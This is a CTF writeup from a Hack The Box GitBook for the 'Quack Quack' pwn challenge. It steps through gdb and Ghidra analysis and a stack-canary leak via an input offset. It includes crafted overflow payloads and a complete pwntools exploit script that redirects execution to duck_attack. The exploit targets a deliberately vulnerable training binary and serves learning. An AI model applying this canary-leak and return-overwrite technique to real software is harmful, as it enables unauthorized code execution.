HTB Writeups
  • HTB Writeups
  • Boxes: Very Easy
    • Academy
    • Archetype
    • Arctic
    • Base
    • Bike
    • Blue
    • Explosion
    • Included
    • Markup
    • Oopsie
    • Redeemer
    • Responder
    • Shield
    • Unified
    • Vaccine
  • Boxes: Easy
    • Analytics
    • Armageddon
    • Bashed
    • Beep
    • Blocky
    • Bounty Hunter
    • Buff
    • Cap
    • CozyHosting
    • Devel
    • Explore
    • Forest
    • Grandpa
    • Granny
    • Horizontall
    • Jerry
    • Keeper
    • Knife
    • Lame
    • Late
    • Legacy
    • Mirai
    • Netmon
    • Nibbles
    • Optimum
    • Paper
    • Photobomb
    • Precious
    • RedPanda
    • Return
    • Sau
    • ScriptKiddie
    • Sense
    • Servmon
    • Shocker
    • Shoppy
    • Squashed
    • Trick
  • Boxes: Medium
    • Poison
  • Challenges
    • Behind the Scenes
    • Canvas
    • Debugging Interface
    • Digital Cube
    • Easy Phish
    • Find the Easy Pass
    • Forest
    • Infiltration
    • misDIRection
    • Pusheen Loves Graphs
    • Retro
    • Signals
    • The Secret of a Queen
    • Wrong Spooky Season
  • Fortresses
  • Cyber Apocalypse 2023: The Cursed Mission
    • The Cursed Mission
    • Alien Cradle
    • Critical Flight
    • Debug
    • Extraterrestrial Persistence
    • Getting Started
    • Needle in the Haystack
    • Orbital
    • Packet Cyclone
    • Passman
    • Perfect Sync
    • Persistence
    • Plaintext Tleasure
    • Questionnaire
    • Reconfiguration
    • Relic Maps
    • Roten
    • Secret Code
    • Shattered Tablet
    • Small StEps
  • Hack the Boo 2023
    • Hauntmart
    • Spellbrewery
    • Trick or Treat
    • Valhalloween
  • Cyber Apocalypse 2024: Hacker Royale
    • Hacker Royale
    • An Unusual Sighting
    • BoxCutter
    • BunnyPass
    • Character
    • Data Siege
    • Delulu
    • Dynastic
    • Fake Boost
    • Flag Command
    • Game Invitation
    • It has begun
    • KORP Terminal
    • Labyrinth Linguist
    • LockTalk
    • Lucky Faucet
    • Makeshift
    • Maze
    • Packed Away
    • Phreaky
    • Primary Knowledge
    • Pursue the Tracks
    • Rids
    • Russian Roulette
    • Stop Drop and Roll
    • Testimonial
    • TimeKORP
    • Unbreakable
    • Urgent
  • CYBER APOCALYPSE 2025: Tales from Eldoria
    • Tales from Eldoria
    • A New Hire
    • Cave Expedition
    • Echoes in Stone
    • Eldorion
    • Embassy
    • EncryptedScroll
    • HeliosDEX
    • Quack Quack
    • Silent Trap
    • Stealth Invasion
    • Tales for the Brave
    • The Ancient Citadel
    • The Hillside Haven
    • The Stone That Whispers
    • Thorins Amulet
    • ToolPie
    • Traces
    • Trial by Fire
    • Whispers of the Moonbeam
Powered by GitBook
On this page
  1. CYBER APOCALYPSE 2025: Tales from Eldoria

Quack Quack

Personal Rating: Hard

PreviousHeliosDEXNextSilent Trap

Last updated 1 month ago

This challenge was very hard for me, especially since it was the first binary exploitation challenge and was marked with "easy". We start off with a binary file called "quack_quack".

checksec --file=quack_quack
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   RW-RUNPATH   54 Symbols	 No	0		2		quack_quack

We see that Full RELRO, NX and a Canary are detected, but PIE was not. This suggests that we have to bypass a stack canary and use ROP to solve the challenge. Strings did not return anything interesting.

gdb quack_quack
info functions

The duckling and duck_attack functions catch the eye.

break main
run

Stepping through with si, we see that the duckling function appears at 0x401625. When duckling is executed, user input can be made and this indicates that the overflow has to be done there.

break duckling
stepi

We find out the addresses of the relevant functions: duckling: 0x40162a duck_attack: 0x40137f

Loading the program in Ghidra, we notice that local_10 seems to be a stack canary that has to remain unchanged throughout execution. An explanatory screenshot of Ghidra will be provided later.

disas duckling
# This is the return value of duckling, that we have to overwrite with the address of duck_attack:
0x0000000000401604 <+356> ret

disas duck_attack 
# This is the start value of duck_attack, that we have to incorporate into the overflow:
0x000000000040137f <+0>:	endbr64

disas duckling
# The stack canary is stored at rbp-08x , so 8 Bytes below the base pointer of the stack frame of the duckling function.
0x00000000004014af <+15>:	mov    rax,QWORD PTR fs:0x28
0x00000000004014b8 <+24>:	mov    QWORD PTR [rbp-0x8],rax

So this is the payload layout from what we know so far: Quack Quack <filler until rbp-8><canaryvalue><filler until 0x401604><0x40137f>

Let' us determine the right offset to reach RIP.

from pwn import cyclic
print(cyclic(800))
run
<SNIP>
> Quack Quack aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad

info registers
-> rip 0x7ffff7c969fc

0x66 (102) is the input size of the first read, 0x6a (106) the size of the second read. This statement has a format string vulnerability. If we can make sure that pcVar1 + 0x20 is the address of the canary, it will be leaked:

printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);

32 Bytes, or 0x20 is skipped, which is where the printf function starts outputting 9 characters. pcVar1+0x20 needs to be aligned with rbp-0x8, which is where the canary resides.

disas duckling
0x0000000000401562 <+194>:	call   0x401160 <read@plt>
0x0000000000401567 <+199>:	lea    rax,[rbp-0x80]

This means that the input buffer starts at rbp-0x80

Since the input buffer starts at rbp-0x80 and the canary is at rbp-0x8, the distance is 0x80 - 0x8 = 0x78 bytes. Since 0x20 bytes are filled by the printf function anways, we need to fill 0x78 - 0x20 = 0x58 (88) bytes to get to the canary.

pcVar1 Points to the Start of "Quack Quack ": After the strstr() function identifies "Quack Quack " in the input, pcVar1 points to the beginning of the substring "Quack Quack " within the buffer.

The +0x20 Offset Is Relative to pcVar1: When you add +0x20 to pcVar1, the pointer skips exactly 32 bytes from where "Quack Quack " starts. Therefore, the content of "Quack Quack " (11 bytes) is irrelevant to the calculation of the 88-byte filler needed to reach the stack canary.

Since testing was all not really working and my calculations did not seem correct, I tried to bruteforce the offset:

After this also failed, friend told what the issue was. I have to insert the filler before the "Quack Quack " and my calculations from before were correct.

At the fillersize of 89, the output could very well be the canary. I confirmed that in gdb. From the disassembly, we can determine a good point to break for inspecting the potential canary.

I set a breakpoint at just when then registers are set for the print command to inspect if the canary is output.

break *0x00000000004015c4
run $(python3 -c 'print("A" * 89 + "Quack Quack ")')
canary 
    [+] The canary of process 233979 is at 0x7ffff7fb8768, value is 0x24ccbfa598724000

Comparing this, first the canary, then the leaked valued, we can see that the canary is indeed leaked, but the null byte at the end is missing and one byte is prepended. With a filler of 88, the exact canary is leaked.

We now know that the initial payload has to be this to leak the canary: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQuack Quack

I was told that the canary is always 8 bytes after the base pointer, above the stack. The return value comes after that. This value after the canary states where the program should go after the function was executed.

Usually, we would need 32 bytes less of a filler, since the local_68, that we write to with the second input, is 32 byte later on the stack than local_88. However, since the first print statement adds 32 bytes (0x20), the second input can use the same offsets for the canary location as the first one.

duckling: 0x40162a duck_attack: 0x40137f

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<reversed_canary>\x69696969\x7f13

The canary and the replacement for the return pointer have to be input in reverse. Since the "40" in "0x40137f" is already in place at the regular return value, it is enough to write 0x137f

Upon reiterating, a friend noted that we could have a newline that gets in the way. So we should write more of our return value replacement to offset the newline character

Payload1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQuack Quack

Payload2: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<reversed_canary>\x69\x69\x69\x69\x69\x69\x69\x69\x7f\x13\x00\x00\x00\x00\x00\x00\x00

I wrote this script to send the final payloads:

from pwn import *

binpath = './quack_quack'
basepayload = b"Quack Quack "
payload1 = b'A' * 89 + basepayload

proc = process(binpath)
proc.recvuntil(b'>')
print("Payload 1:\n" + str(payload1) + "\n")
proc.sendline(payload1)

output1 = proc.recvuntil(b'>')
print("Output:\n" + str(output1) + "\n")
canary = (output1[13:-30] + b'\x00')[-8:]
print("Canary:\n" + canary.hex() + "\n")

payload2 = b'A' * 88 + canary[::-1] + b'\x69\x69\x69\x69\x69\x69\x69\x69\x7f\x13\x40\x00\x00\x00\x00\x00\x00\x00'
print("Payload 2:\n" + str(payload2) + "\n")
proc.sendline(payload2)
output2 = proc.recvuntil(b'>')
print(output2)
Program TUI
Stack Alignment Testing
Offset Bruteforce Script
Canary Leak
Good Breakpoint
Canary Leak
Ghidra Overflow Explanation
Second User Input